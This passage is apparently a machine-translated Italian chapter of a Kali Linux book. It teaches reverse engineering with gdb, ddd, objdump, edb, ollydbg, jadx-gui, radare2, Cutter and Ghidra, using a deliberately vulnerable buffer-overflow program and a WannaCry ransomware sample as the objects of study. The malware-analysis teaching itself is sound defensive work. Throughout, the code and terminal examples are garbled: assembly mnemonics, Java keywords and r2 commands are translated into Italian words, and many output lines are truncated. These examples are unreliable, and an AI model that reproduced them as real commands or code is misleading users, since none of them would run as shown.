Le librerie utilizzate non avranno codice sorgente disponibile, il che
significa che non possiamo entrare in quelle funzioni. Ciò include le
funzioni di libreria standard, come printf in un programma C. Di
conseguenza, otterremo indicazioni su dove ci troviamo in quei file, ma
non potremo vedere nulla sul codice sorgente. Una volta che il programma
si è fermato a causa del segmentation fault, abbiamo l'opportunità di
vedere cosa è successo. Il primo passo è dare un'occhiata allo stack. Puoi
vedere i dettagli dallo stack frame nell'esempio 11-15 che otteniamo
chiamando frame . Vedrai anche lo stack delle chiamate, che indica le
funzioni che sono state chiamate per portarci dove siamo, ottenute con bt .
Infine, possiamo esaminare il contenuto delle variabili usando print .
Possiamo stampare da nomi di file e variabili o, come in questo caso,
indicare il nome della funzione e la variabile. Questa volta, stiamo usando
un programma diverso, scritto specificamente per bloccarsi a causa di un
buffer overflow.
Esempio 11-15. Guardare lo stack in gdb
(gdb) print strCpy:local Errore di sintassi
nell'espressione, vicino a `:local'.
(gdb) stampa strCpy::local
$1 = "AAAAAAAAAA"
(gdb) stampa strCpy::str
$2 = 0x555555556010 'A' <si ripete 32 volte>
(gdb) cornice
#0 0x00005555555555185 in strCpy (str=0x555555556
in fail.c:11
11
}
(gdb) bt #0 0x00005555555555185 in strCpy
(str=0x555555556 in fail.c:11 #1
0x4141414141414141 in ?? ()
#2 0x0000414141414141 nel ?? ()
#3 0x00000001f7fe6780 in ?? ()
#4 0x00000000000000000 in ?? ()
Finora abbiamo lavorato con la riga di comando. Ciò richiede molta
digitazione e che tu comprenda tutti i comandi e i loro usi. Proprio come
Armitage è un'interfaccia utente grafica per Metasploit, ddd è
un'interfaccia utente grafica per gdb . ddd è un programma grafico che
esegue tutte le chiamate a gdb per te in base ai pulsanti che clicchi. Un
vantaggio nell'usare ddd è che puoi vedere il codice sorgente se il file si
trova nella directory in cui ti trovi e sono stati inclusi i simboli di debug. La
figura 11-1 mostra ddd in esecuzione con il programma fail che stavamo
appena guardando caricato al suo interno. Vedrai il codice sorgente nel
riquadro in alto a sinistra. Sopra c'è il contenuto di una delle variabili che è
stata visualizzata. In basso, puoi vedere tutti i comandi che sono stati
passati a gdb . Qui, vedrai che è stato aggiunto un punto di interruzione,
sebbene ciò sia stato fatto selezionando la funzione principale e facendo
clic con il pulsante destro del mouse per aggiungere un punto di
interruzione.
Figura 11-1. Debug con ddd
Sul lato destro dello schermo, vedrai dei pulsanti che ti permettono di
procedere nel programma. Usando ddd , puoi anche impostare facilmente
un punto di interruzione. Se selezioni la funzione o la riga nel codice
sorgente, puoi cliccare sul pulsante Breakpoint nella parte superiore dello
schermo. Ovviamente, usare una GUI anziché un programma a riga di
comando non significa che puoi eseguire il debug senza capire cosa stai
facendo. Sarà comunque necessario del lavoro per diventare abili nell'uso
di un debugger e vedere tutto ciò che è disponibile nel debugger. La GUI ti
consente di avere molte informazioni sullo schermo contemporaneamente
piuttosto che dover eseguire molti comandi in sequenza e scorrere l'output
quando necessario.
Usare un debugger è una parte importante del reverse engineering, perché
è il modo in cui puoi vedere cosa sta facendo il programma. Anche se non
hai il codice sorgente, puoi comunque guardare il programma e tutti i dati
che sono al loro posto. Il reverse engineering, ricorda, riguarda la
determinazione della funzionalità di un programma senza avere accesso al
codice sorgente. Se avessimo il codice sorgente, potremmo guardarlo
senza dover fare alcuna inversione. Potremmo iniziare da una visione in
avanti.
Smontaggio
Il processo di compilazione produce un'immagine eseguibile. Come visto in
precedenza, questo è un contenitore che fornisce molte informazioni al
loader, ma al centro di quel file ci sono istruzioni eseguibili. Queste
istruzioni sono nel linguaggio del processore. Ogni processore ha codici
operativi (opcode). Per il processore, questi sono valori numerici che fanno
riferimento a una sezione del processore. Oltre agli opcode, la parte
eseguibile (nella sezione .text ) contiene valori numerici, informazioni di
registro (archiviazione di memoria veloce sul processore) e altri parametri
per gli opcode. Il problema, ovviamente, è che mentre possiamo leggere gli
opcode numerici e convertirli, sia su carta che eventualmente nella nostra
testa, non è efficiente.
Gli opcode sono spesso rappresentati come mnemonici, che sono brevi e
pronunciabili (fino a un certo punto) e si riferiscono direttamente a un
opcode. Attualmente ci sono circa 1.000 opcode e più di tre volte più
varianti di questi opcode nel set di istruzioni Intel a 64 bit. Il set di istruzioni
ARM, che è la base per i dispositivi mobili, Raspberry Pi e i più recenti
processori Apple per i loro laptop e desktop, ha meno di 300 istruzioni.
Questo tocca una differenza di filosofia riguardo al modo in cui sono
costruiti i processori, ma non vale la pena di approfondirla. Il punto è che
una volta che arriviamo alle centinaia, è davvero difficile provare a
mappare le operazioni nella nostra testa, quindi questi mnemonici sono
essenziali.
Un programma che può convertire gli opcode in mnemonici può essere
davvero utile. Sono disponibili diversi di questi programmi che possono
prendere un eseguibile e convertire gli opcode in mnemonici, oltre a
rappresentare tutti i simboli e gli altri dati presenti nell'eseguibile. Questi
programmi sono chiamati disassembler , perché i mnemonici usati per
rappresentare gli opcode formano un linguaggio chiamato assembly , o
assembler, language . Il programma che prende un programma scritto in
quei mnemonici e lo converte nel codice macchina che il processore capirà
è chiamato assembler . Pertanto, un programma che riporta il codice
macchina in assembly è chiamato disassembler .
Kali include un semplice strumento da riga di comando, chiamato objdump
, che prende un binario e lo converte di nuovo in linguaggio assembly.
Nell'esempio 11-16 , vedrai lo smontaggio della prima sezione di un binario
usato in precedenza quando stavamo usando il debugger. Il flag d dice di
smontare le sezioni eseguibili del codice. Mentre l'intero binario è stato
smontato, solo la prima sezione è mostrata qui per risparmiare spazio,
poiché ciò dimostra chiaramente come appare uno smontaggio. Vedrai, per
colonne, la posizione, quindi la rappresentazione esadecimale
dell'istruzione, seguita dalla rappresentazione in linguaggio assembly di
tale istruzione.
Esempio 11-16. Output di objdump
┌──(kilroy@savagewoofer)-[~] └─$
objdump -d fail fail: formato file
elf64-x86-64 Disassemblaggio della
sezione .init:
00000000000001000 <_init>:
1000: 48 83 ec 08 sotto $0
1004: 48 8b 05 c5 2f 00 00 movimento 0x
#
100b: 48 85 c0 prova %
100e: 74 02 sono 10
1010: ff d0 chiamata *%
1012: 48 83 c4 08 aggiungi $0
1016: c3 in pensione
Questa è una rappresentazione statica del codice, ma non può mostrarti
cosa succede in memoria durante l'esecuzione. Per questo, è utile avere un
disassemblatore grafico. Il programma edb , mostrato nella Figura 11-2 ,
non solo eseguirà il disassemblaggio, ma ti consentirà anche di eseguire il
programma proprio come faceva il debugger in precedenza. Puoi
procedere passo dopo passo, seguendo le chiamate di funzione o
superandole. edb mostrerà la tua posizione nel programma e ti fornirà
anche il contenuto dei registri sul lato destro.
Figura 11-2. Smontaggio con edb
Poiché edb funziona su un sistema Linux, è limitato a esaminare gli
eseguibili ELF. Puoi anche usare un comune disassembler di Windows
disponibile con Kali Linux. ollydbg è un disassembler gratuito che è da
tempo disponibile sui sistemi Windows. Funziona su Kali usando il software
Wine. Wine è un livello di compatibilità che converte gli eseguibili basati su
Windows in un'applicazione in esecuzione che Linux può comprendere.
Usando ollydbg , come mostrato nella Figura 11-3 , puoi caricare un
eseguibile basato su Windows ed eseguirlo. Un problema con ollydbg ,
tuttavia, è che è un'applicazione a 32 bit, quindi potresti dover installare
pacchetti di supporto aggiuntivi per caricare ed eseguire un'applicazione in
ollydbg .
Figura 11-3. Disassemblatore Ollydbg
Proprio come con edb , ollydbg ti mostra il linguaggio assembly per
l'eseguibile, così come il contenuto dei registri. Puoi eseguire un
programma da ollydbg e scorrerlo riga per riga per vedere le modifiche
apportate in memoria, poiché puoi ispezionare la memoria in ollydbg ,
proprio come con un debugger, inclusi i registri. Questo dovrebbe darti una
buona comprensione di cosa sta facendo il programma mentre viene
eseguito.
Decompilazione Java
Finora abbiamo esaminato i programmi compilati. Questi non sono gli unici
tipi di programmi che potresti incontrare. Naturalmente, i programmi
interpretati in cui è disponibile il codice sorgente non devono essere
disassemblati. Un programma Python ti mostrerà il codice sorgente
Python, quindi non c'è bisogno di fare alcuna conversione poiché è già in
formato leggibile dall'uomo. Tuttavia, i programmi Java vengono convertiti
in bytecode, dove vengono poi eseguiti in una macchina virtuale Java.
Questo linguaggio intermedio rende i programmi Java portabili poiché puoi
scriverli e compilarli in linguaggio macchina Java, quindi eseguirli ovunque
tu possa installare una macchina virtuale Java.
Quando hai scritto un programma Java (vedi il programma molto semplice
mostrato nell'Esempio 11-17 ), lo compili nel bytecode intermedio usando
javac . Ciò si traduce in un file .class che la macchina virtuale Java può
eseguire. L'Esempio 11-17 mostra non solo il codice sorgente Java, così
come la compilazione, ma anche la verifica che l'output sia lì e sia quello
che ci aspettiamo che sia. Una volta che il file .class esiste, eseguirlo è
semplice come eseguire java simple in questo caso, poiché la classe si
chiama simple . Questo programma ha una funzione che aggiunge due
numeri e un'istruzione print nella funzione principale che chiama la
funzione add .
Niente di particolarmente eccitante.
Esempio 11-17. Programma Java e compilazione
┌──(kilroy@badmilo)-[~]
└─$ cat simple.java
classe pubblica simple {
pubblico static int addMe(int x, int y) {
restituisci x + y; } pubblico static void
main(String[] args) { int x, y;
la x è uguale a
15; la y è
uguale a 42;
System.out.printf("Sei qui, %d\n", a
}
}
┌──(kilroy@badmilo)-[~]
└─$ javac semplice.java
Ritirato _JAVA_OPTIONS: -Dawt.useSystemAAFontSet
┌──(kilroy@badmilo)-[~]
└─$ file simple.class
simple.class: compiled Java class data, version 6
C'è un decompilatore Java in Kali, chiamato jadx-gui . Mentre il
disassemblaggio prende il codice macchina e lo converte in linguaggio
assembly, un decompilatore prende l'output compilato e lo converte di
nuovo in codice sorgente. Questo non significa che il decompilatore
restituirà il codice esatto che è stato scritto, come si può vedere nella
Figura 11-4 . In questo caso, i parametri nella funzione hanno un nome
diverso, poiché la compilazione non conserva tali informazioni. Dal punto
di vista della funzione dopo la compilazione, le variabili sono solo dati sullo
stack piuttosto che qualcosa che ha un nome. Questo è un esempio molto
semplice, ovviamente, ma dovrebbe mostrarti che i programmi più
complicati finiranno in uno stato molto diverso dopo la decompilazione.
Poiché i compilatori possono fare molto lavoro per rendere più efficiente il
codice eseguibile risultante, i decompilatori per linguaggi come C sono rari,
perché non finirai con un codice sorgente che assomiglia in alcun modo al
codice sorgente originale, nella maggior parte dei casi.
Kali è dotato anche di altri strumenti che decompilano i programmi Java,
tra cui jd-gui . Sebbene sia possibile decompilare anche i programmi
Android, poiché i programmi Android sono stati spesso scritti in Java e
compilati per la macchina virtuale Dalvik anziché per una macchina virtuale
Java, al momento in cui scrivo non sono disponibili decompilatori per altri
linguaggi in Kali Linux.
Ingegneria inversa
Il reverse engineering è il processo di prendere un programma eseguibile e
di intuire cosa fa e come lo fa. Abbiamo esaminato alcune delle tecniche
che possono essere utilizzate per il reverse engineering, tra cui il debugging
e il disassemblaggio. Come al solito, questo è un campo molto profondo e
ci limiteremo a dare un'occhiata veloce ad alcuni degli strumenti disponibili
in Kali per aiutare in questo. Il reverse engineering può coprire una gamma
di discipline, poiché non riguarda solo il software. Tuttavia, da una
prospettiva software, il reverse engineering riguarda la determinazione del
funzionamento di un eseguibile. A volte, riguarda l'identificazione di cosa
fa il software. Senza il codice sorgente, può essere incredibilmente difficile
determinare la funzionalità in tutti i programmi tranne quelli più semplici.
I programmi complessi possono avere una discreta percentuale di codice
che viene raramente utilizzato o visto, quindi può essere molto difficile
innescare quei percorsi di codice per identificare alcune funzionalità.
Dopotutto, non tutte le funzioni in un programma saranno visibili in
un'interfaccia utente.
Perché dovremmo investigare i programmi in questo modo? Innanzitutto,
per imparare. Imparare è sempre un obiettivo buono e degno. In secondo
luogo, per identificare bug che potrebbero diventare vulnerabilità, che
potrebbero esporre il sistema e tutti i dati ad esso associati a un uso
dannoso o a furto. Infine, nel caso di qualcosa come il malware, il reverse
engineering è essenziale per identificare esattamente di cosa è capace il
malware per comprendere tutti i potenziali danni che potrebbe causare o i
luoghi in cui potrebbe nascondersi o replicarsi.
Parte del problema con qualcosa come il malware è che può essere molto
difficile capire cosa succede. Dopotutto, il malware può rilevare quando
viene analizzato osservando il suo ambiente. Un sistema in esecuzione in
un ambiente virtuale con RAM e spazio su disco limitati, così come un
numero limitato di programmi, può presumere di essere in una sandbox
per l'analisi. Se è così, semplicemente non fa ciò per cui è stato scritto,
perché non vuole essere scoperto. Inoltre, gli autori di malware fanno cose
come crittografare e comprimere il loro software per cercare di farlo
superare i sistemi anti-malware.
Quindi, detto tutto questo, Kali Linux ha un bel set di strumenti che
possono aiutare con il reverse engineering. Come sempre, nessuno
strumento è migliore dell'abilità e dell'esperienza. Non è possibile
automatizzare tutte le attività che queste applicazioni possono svolgere
perché gli autori del malware cercano sempre di rilevare quando vengono
analizzati in modo da potersi alzare dal divano e uscire di casa in fretta.
Altrimenti, non saranno in attività per molto tempo poiché diventerà facile
coglierli nel momento in cui entrano dalla porta. Metaforicamente
parlando.
Radare2
Radare2 , noto anche come r2 , è un framework di reverse engineering che
contiene strumenti per supportare l'analisi degli eseguibili. Supporta molti
formati di file e architetture di processori. Puoi usarlo sia per l'analisi
statica, in cui stai solo guardando il contenuto del file e i suoi metadati, sia
per l'analisi dinamica eseguendo il binario all'interno di un debugger per
vedere cosa fa. Iniziare con r2 è facile. Nell'esempio 11-18 , puoi vedere
come usare r2 per caricare un file e quindi iniziare a esaminarlo. Queste
sono essenzialmente le stesse informazioni che sono state fornite con altri
strumenti che abbiamo esaminato in precedenza.
Esempio 11-18. Avvio di r2 per l'analisi
┌──(kilroy@badmilo)-[~]
└─$
r2
-e
bin.cache=true
sample-p.exe
[0x140009320]> i fd 3 file sample-p.exe
dimensione 0x2200 humansz 8.5K minopsz 1
maxopsz 16 invopsz 1 modalità rx formato
pe64 iorw false blocco 0x100 tipo EXEC (file
eseguibile) arch x86 baddr 0x140000000 binsz
8704 bintype pe
bit 64 canary false
retguard false
classe PE32+
cmp.csum 0x00011379
Mentre potremmo continuare a esaminare le informazioni dalle
intestazioni dei file e dalle diverse sezioni, possiamo anche usare una
potente funzionalità di r2 . Puoi usare r2 per eseguire alcune analisi per te.
Se sei fortunato, e questo è particolarmente vero se il programma che stai
guardando ha simboli di debug aggiunti durante la fase di compilazione, il
che è stato vero per i programmi che abbiamo esaminato finora, stai
guardando un binario che non è stato spogliato. Ciò significa che la tabella
dei simboli è intatta e i nomi sono al loro posto, il che rende più facile
trovare le cose. È molto più difficile se stai guardando indirizzi nudi
piuttosto che simboli leggibili dall'uomo. Nell'esempio 11-19 , stiamo
usando il comando aa per analizzare tutto. Una volta analizzato il binario, il
comando pdf visualizzerà il linguaggio assembly per la funzione
denominata main , che è il punto di ingresso di questa applicazione. Ciò
che vedi non è l'intero linguaggio assembly per questa funzione, ma solo
un campione per vedere come appare.
Esempio 11-19. Analizzando tutto con r2
┌──(kilroy@badmilo)-[~]
└─$ r2 -e bin.cache=true errore-pi
[0x00000740]> aa
[af: Impossibile trovare la funzione in
0x00000740. e ent
[x] Analizza tutti i flag che iniziano con sym. e
ent
[0x00000740]> pdf @ principale
┌ 136: int main (int argc, char **argv);
│ ; var int64_t var_20h @ sp+0x20
│ ; argomento int argomentoc @ x0
│ ; arg carattere **argv @ x1
│ 0x0000088c fd7bbca9 stp x29, x30,
│ 0x00000890 fd030091 movimento x29, sp
│ 0x00000894 e01f00b9 str w0, [sp, 0
│ 0x00000898 e10b00f9 str x1, [sp, 0
│ 0x0000089c 00000090 adrp x0, 0
│ 0x000008a0 00e02491 aggiungi x0, x0, st
│ 0x000008a4 9fffff97 bl sim.imp.pri
│ 0x000008a8 e0830091 aggiungi x0, var_20
│ 0x000008ac e10300aa movimento x1, x0
│ 0x000008b0 00000090 adrp x0, 0
│ 0x000008b4 00602591 aggiungi x0, x0, 0x
│ 0x000008b8 92ffff97 bl simbolo.imp.__i
r2 è un programma denso. Se rimani bloccato, puoi chiedere aiuto con i
comandi. Puoi ottenere aiuto digitando ? . Mentre puoi semplicemente
digitarlo e premere Invio per ottenere l'elenco completo dei comandi
disponibili, puoi anche aggiungerlo ad altri comandi per ottenere
informazioni aggiuntive che potrebbero essere utili. Ad esempio, il
comando af analizza le funzioni, ma non è così semplice come digitare
semplicemente af , quindi possiamo ottenere un po' di aiuto, come
mostrato nell'esempio 1120 . Come potresti aspettarti, l'output mostrato
qui è troncato.
Esempio 11-20. Ottenere aiuto con r2
[0x00000740]> per?
Utilizzo: af
| af ([nome]) ([indirizzo]) analizza
| afr ([nome]) ([indirizzo]) analizza
| af+ addr nome [tipo] [diff] mano c | af- [addr]
funzione di pulizia | afa analyz
(anche
| afb+ fcnA bbA sz [j] [f] ([t]( [d])) aggiungi
bb
| afb[?] [addr] Elenco b
| afbF([0|1]) Attiva/disattiva | afB 16 imposta
cu asm.bi | afC[lc] ([addr])@[addr] calcolo
Ciclomotore
| afc[?] tipo @[addr] imposta ca
| afd[addr] mostra f
| afF[1|0|] piega/u
| afi [addr|fcn.name] mostra f
Possiamo dare un'occhiata a una singola funzione e ottenere maggiori
informazioni su di essa usando af . Per prima cosa, diamo un'occhiata alla
tabella dei simboli per ottenere un elenco di funzioni nel programma.
Dobbiamo ottenere la tabella dei simboli per eseguire un'analisi flagspace.
Una volta completata l'analisi flagspace, possiamo elencare i flag per
quello spazio. Questo è mostrato nell'Esempio 11-21 . Nell'output, vedrai
l'elenco delle funzioni note in questo programma.
Esempio 11-21. Ottenere la tabella dei simboli
[0x00000740]> simboli fs
[0x00000740]> e
0x00000278 32 oggetto__abi_tag
0x00000670 0 simbolo_init
0x00000740 1 voce0
0x00000740 52 simbolo_inizio
0x00000774 20 simbolo.chiamata_debole_fn
0x00000790 0 simbolo.deregister_tm_clones
0x000007c0 0 simbolo.register_tm_clones
0x00000800 1 voce.fini0
0x00000800 0 sym.__do_global_dtors_aux
0x00000850 1 voce.init0
0x00000850 0 simbolo.frame_dummy
0x00000854 56 simbolo.strCpy
0x0000088c 256 principale
0x0000088c 136 simbolo principale
0x00000914 0 simbolo_fini
0x00000928 4 oggetto_IO_stdin_utilizzato
0x000009b0 0 posizione.__GNU_EH_FRAME_HDR
0x00000ac0 0 oggetto__FRAME_END__
0x0001fdc8 0 elemento_init_array_frame_dummy
0x0001fdd0 0 obj.__do_global_dtors_aux_fini_array
0x0001fdd8 0 oggetto_DINAMICO
0x0001ffb8 0 oggetto_GLOBAL_OFFSET_TABLE_
0x00020040 0 loc.data_start
0x00020040 0 posizione__data_start
0x00020048 0 oggetto__dso_handle
0x00020050 1 oggetto completato.0
0x00020050 0 posizione.__bss_inizio__
0x00020050 0 posizione_edata
0x00020050 0 posizione__bss_inizio
0x00020050 0 oggetto__TMC_END__
0x00020058 0 posizione_bss_fine__
0x00020058 0 posizione.__bss_fine__
0x00020058 0 posizione_fine
0x00020058 0 posizione__fine__
Dopo aver scritto il programma in analisi, è molto più facile sapere cosa
cercare, anche se può sembrare un imbroglio.
Possiamo dare un'occhiata alla funzione strCpy , che è dove c'è una
vulnerabilità deliberata di buffer overflow. L'esempio 11-22 mostra l'analisi
dell'intero programma. Questo deve essere fatto prima di analizzare le
singole funzioni. Puoi vedere l'analisi del programma seguita dall'analisi
della funzione per la funzione che abbiamo selezionato. Il nome viene
visualizzato usando afd , quindi afi viene usato per mostrare le
informazioni sulla funzione. Questo mostra l'offset nel programma in cui si
trova la funzione. Fornisce anche il nome, la convenzione di chiamata e il
numero di argomenti passati, così come i tipi di argomenti.
Esempio 11-22. Analisi della funzione
[0x00000740]> aa
[x] Analizza tutti i flag che iniziano con sym.
e ent
[0x00000740]> af strCpy
[0x00000740]> afd
strCpy [0x00000740]>
afi # offset:
0x00000740 nome: strCpy
dimensione: 4 is-pure:
true realsz: 4
stackframe: 0 callconvention: arm64
cyclomatic-cost: 1
cyclomatic-complexity: 0
bits: 64
type: fcn [NEW]
num-bbs: 1
edges: 1
end-bbs: 0
call-refs:
data-refs:
code-xrefs:
noreturn: false
in-degree: 0
out-degree: 0
data-xrefs:
locals: 0
args: 3
arg int64_t arg_0h @ sp+0x0
arg int64_t arg_8h @ sp+0x8
arg int64_t arg1 @ x0
diff: type: new
Naturalmente, r2 è utile per più di una semplice analisi binaria statica. Puoi
anche usarlo come debugger. Come ti aspetteresti, è un'applicazione
robusta per scavare in ciò che sta accadendo all'interno di un programma.
Puoi eseguire analisi statica e anche analisi dinamica all'interno della stessa
sessione. Una volta caricato il programma che vuoi guardare, puoi iniziare
a impostare punti di interruzione in cui vuoi che il programma interrompa
l'esecuzione. Nell'esempio 1123 , puoi vedere come impostare un punto di
interruzione nella funzione principale , quindi elencare i punti di
interruzione e continuare l'esecuzione. Successivamente, vedrai i registri di
uso generale così come sono nel momento in cui li stai guardando, a metà
esecuzione. Esempio 11-23. Debug con r2
┌──(kilroy@badmilo)-[~]
└─$ r2 -e bin.cache=true errore-pi
[0x00000740]> aa
[af: Impossibile trovare la funzione in
0x00000740. e ent
[x] Analizza tutti i flag che iniziano con sym.
e ent
[0x00000740]> buono
File dbg:///home/kilroy/fail-pi riaperto in
lettura
[0xffff899e91c0]> db
principale [0xffff899e91c0]>
db* dbm /home/kilroy/fail-pi
2188 [0xffff899e91c0]> dc
[0xffff899e91c0]> dr x0 =
0x00000000 x1 =
0xaaab1e45f6b0 x2 =
0x00000400 x3 = 0x00000001 x4
= 0xfbad2288 x5 = 0x00000000
x6 = 0xffff899a135c
x7 = 0x00000004
x8 = 0x0000003f
x9 = 0x00000000
x10 = 0x00000020
x11 = 0x00000000
Utilizzare una piattaforma come questa, specialmente in Kali Linux, rende
molto comodo analizzare malware effettivi, se si è interessati a farlo. È
possibile vedere il caricamento iniziale e la raccolta di informazioni su un
campione live del ransomware WannaCry. Nell'esempio 11-24 si vedrà che
si tratta di un binario Windows a 32 bit, ma lo stiamo esaminando su un
sistema Linux. Sebbene sia possibile, con gli emulatori, eseguirlo, è un po'
più sicuro che eseguirlo direttamente su un sistema Windows. Ciò è
particolarmente vero se il sistema Windows è la propria workstation.
Esempio 11-24. Analisi di un campione di malware
──(kilroy@badmilo)-[~/theZoo/malware/Binari/Ran
└─$ r2 -e bin.cache=true rwwc.exe
[0x004077ba]> aa
[x] Analizza tutti i flag che iniziano con sym.
e ent [0x004077ba]> i fd 3 file rwwc.exe size
0x35a000
humansz 3.4M minopsz 1 maxopsz 16
invopsz 1 modalità rx formato pe
iorw falso blocco 0x100 tipo EXEC
(file eseguibile) arch x86 baddr
0x400000 binsz 3514368 bintype pe
bit 32 canary falso retguard falso
classe PE32 cmp.csum 0x00363012
compilato Sab 20 Nov 04:05:05 2010
crypto
falso
endian
little
havecode vero hdr.csum 0x00000000
laddr 0x0 lang msvc linenum vero
lsyms vero macchina i386
nx false os windows
overlay false cc
cdecl pic false
relocs true signed
false sanitize false
static false
stripped false
subsys Windows GUI
va true
[0x004077ba]> simboli fs
[0x004077ba]> per
0x00401fe7 391 principale
0x004077ba 338 voce0
[0x004077ba]> del principale
[0x004077ba]> pdf
principale ;-principale:
;-- eip:
┌ 338: voce0 ();
│; var int32_t var_78h @ ebp-0x78
│ ; var int32_t var_74h @ ebp-0x74
│ ; var int32_t var_70h @ ebp-0x70
│ ; var int32_t var_6ch @ ebp-0x6c
│ ; var int32_t var_68h @ ebp-0x68
│ ; var int32_t var_64h @ ebp-0x64
│ ; var int32_t var_60h @ ebp-0x60
│ ; var int32_t var_5ch @ ebp-0x5c
│; var int32_t var_30h @ ebp-0x30
│ ; var int32_t var_2ch @ ebp-0x2c
│; var int32_t var_18h @ ebp-0x18
│ ; var int32_t var_14h @ ebp-0x14
│ ; var int32_t var_4h @ ebp-0x4
O vviamente, questo vi permetterà di iniziare a usare r2 come piattaforma
di analisi. Come avete visto qui, questo è tutto lavoro da riga di comando.
Potete usare altri programmi se preferite non usare la riga di comando e
tutti i comandi forse arcani di due e tre lettere.
Taglierina
Cutter è anche un programma per il reverse engineering. È un programma
basato su GUI, il che significa che i comandi e le opzioni saranno
generalmente disponibili proprio di fronte a te. Per iniziare, devi aprire un
file con cui vuoi lavorare. Quindi, quando avvii Cutter, ti verrà presentata
una finestra di dialogo Apri file. Dopo aver selezionato un file con cui vuoi
lavorare, Cutter eseguirà un'analisi iniziale e presenterà una dashboard con
informazioni sull'eseguibile che hai caricato. La figura 11-5 mostra la
finestra di dialogo che appare quando si apre un file per l'analisi dopo che
il file è stato selezionato. Questa mostra la sezione delle opzioni avanzate,
che normalmente è compressa. Per impostazione predefinita, Cutter
eseguirà l'analisi automatica per te.
Figura 11-5. Apri finestra di dialogo in Cutter
Cutter ha un decompilatore, che non è una caratteristica comune. Cutter
prende un eseguibile binario e genera da esso un codice sorgente leggibile
dall'uomo. Nella Figura 11-6 , puoi vedere il codice sorgente decompilato
per un campione del ransomware WannaCry. Come discusso in
precedenza, è improbabile che appaia come appariva quando il
programma è stato scritto. Invece, è la migliore ipotesi di Cutter su come il
codice macchina eseguibile potrebbe essere rappresentato nel linguaggio
C. In teoria, dovresti essere in grado di ricompilare questo codice sorgente
e ripristinare la funzionalità dell'eseguibile originale.
Figura 11-6. Codice sorgente decompilato in Cutter
La funzione grafico in Cutter ti mostrerà le relazioni tra le funzioni nel
programma, nei loro stati disassemblati. Ciò significa che puoi seguire il
flusso di un programma da una funzione all'altra in modo statico, leggendo
il linguaggio assembly per darti un'indicazione di cosa sta succedendo da
una funzione chiamata all'altra. Questo può essere utile per avere una
visione diversa del programma piuttosto che un semplice elenco di tutto il
linguaggio assembly così come è disposto nella sezione .text
dell'eseguibile. Mostrare le relazioni ti consentirà di sapere quale funzione
interagisce con altre funzioni. La Figura 11-7 mostra una parte del grafico
dell'eseguibile WannaCry.
Figura 11-7. Grafico del programma in Cutter
Proprio come con r2 , Cutter è in grado di agire come un debugger. Puoi
eseguire il programma e scorrerlo riga per riga, ispezionando la memoria e
i registri man mano che procedi.
Ghidra
Infine, l'ultimo software di reverse engineering da considerare è Ghidra ,
uno strumento per il reverse engineering. È stato sviluppato dalla National
Security Agency (NSA) degli Stati Uniti. È stato rilasciato al pubblico nel
2019 e supporta più piattaforme, sia per l'esecuzione che per l'analisi e il
debug. Proprio come Cutter, ha molte capacità. Una caratteristica di Ghidra
che potrebbe essere interessante è che supporta progetti di gruppo, quindi
più persone possono lavorare contemporaneamente a un progetto di
reverse engineering. Poiché Ghidra è principalmente basato su progetti
piuttosto che su file, la Figura 11-8 mostra l'opzione per creare un progetto
condiviso o non condiviso. Poiché non ho un team e sono l'unico
collaboratore del progetto, qui è selezionato Non-Shared Project.
Figura 11-8. Creazione del progetto in Ghidra
Una volta creato il progetto e aperto, puoi iniziare a importare i file. Nel
nostro caso, useremo lo stesso eseguibile del ransomware WannaCry su cui
abbiamo fatto qualche analisi in precedenza. Una volta selezionato un file,
Ghidra mostra la sua valutazione iniziale di cosa sia il file. Questo è un PE.
Una volta importato il file, otterrai il riepilogo dell'analisi, visibile nella
Figura 11-9 . Questo fornisce i metadati per il file, come le date di
creazione e modifica, nonché tutte le informazioni sull'azienda e sullo
sviluppatore, che verrebbero impostate in fase di compilazione, se
desiderato. Questo finge di essere diskpart.exe , sviluppato da Microsoft
Corporation. Una delle cose dello sviluppo di software è che molte
informazioni possono essere inserite nei metadati, il che non lo rende vero.
Questo file è stato verificato da VirusTotal come campione del ransomware
WannaCry.
Figura 11-9. Importazione file in Ghidra
Una volta che il file è stato importato e aperto in
Strumento CodeBrowser, puoi vedere sia il disassemblaggio che la
decompilazione. La decompilazione è un programma C che, come la
maggior parte delle decompilazioni, mostra nomi molto generici per le
variabili, poiché tali nomi non sono scritti nel codice, a meno che non
vengano aggiunti simboli di debug durante la compilazione. Puoi vedere il
disassemblaggio e la decompilazione in Ghidra in Figura 11-10 .
Figura 11-10. CodeBrowser in Ghidra
Da CodeBrowser, puoi ottenere grafici. Uno dei grafici è per il flusso di
controllo, che mostra come il programma viene eseguito mappando i salti
da una funzione all'altra. L'altro grafico è il flusso di dati, che mostra come i
dati vengono passati da una funzione all'altra. La Figura 11-11 mostra il
grafico del flusso di controllo. Inizia con l'intero grafico, che dovresti
ingrandire e muovere per vedere più dettagli. Quando selezioni un nodo,
però, un pop-up mostra il contenuto di quel nodo.
Figura 11-11. Grafico del flusso di controllo in Ghidra
Oltre all'analisi statica di CodeBrowser, Ghidra è dotato di un debugger.
Una caratteristica davvero interessante del debugger in Ghidra è che
l'esecuzione avviene al di fuori dello strumento su cui stai lavorando.
Ghidra supporta la connessione a Frida, che è uno strumento di
strumentazione che puoi usare per osservare il funzionamento di un
programma. Supporta anche l'uso di gdb su un sistema Linux, così come
l'uso di lldb , che è considerato un debugger di nuova generazione.
Sebbene lldb non sia installato di default su Kali (né lo è Ghidra, in effetti),
può essere installato dal repository. Se vuoi provare Frida, però, dovrai
installarlo usando pip o altrimenti compilarlo dalla sorgente.
Riepilogo
In Kali Linux sono disponibili molti strumenti per eseguire analisi
approfondite dei programmi, indipendentemente dalla piattaforma per cui
sono stati originariamente sviluppati. Se stai cercando strumenti per
l'analisi dei programmi o il reverse engineering, dovresti considerare
quanto segue:
I file Portable Executable (PE) sono usati sui sistemi Windows, mentre i file
Executable and Linkable Format (ELF) sono usati sui sistemi Linux.
Entrambi sono tipi di file Common Object File Format (COFF).
Gli strumenti che possono essere utilizzati per estrarre dati dalle
intestazioni dei file eseguibili e di libreria includono readelf , objdump e
gli strumenti della suite PE.
Kali Linux è dotato di gdb , che è il debugger GNU. È uno strumento a riga
di comando utilizzato per eseguire e osservare programmi per capire
come funzionano. Se preferisci, puoi usare ddd , un programma grafico
che si trova sopra gdb .
Non sei limitato ai linguaggi compilati quando stai esaminando i
programmi. I programmi Java possono essere decompilati usando
strumenti come jadx-gui .
Kali è dotato di potenti strumenti per il reverse engineering, come r2 ,
Cutter e Ghidra. Cutter e Ghidra sono entrambi programmi grafici, che
supportano non solo il debug ma anche la decompilazione.
I programmi sono più facili da capire quando hai il codice sorgente.
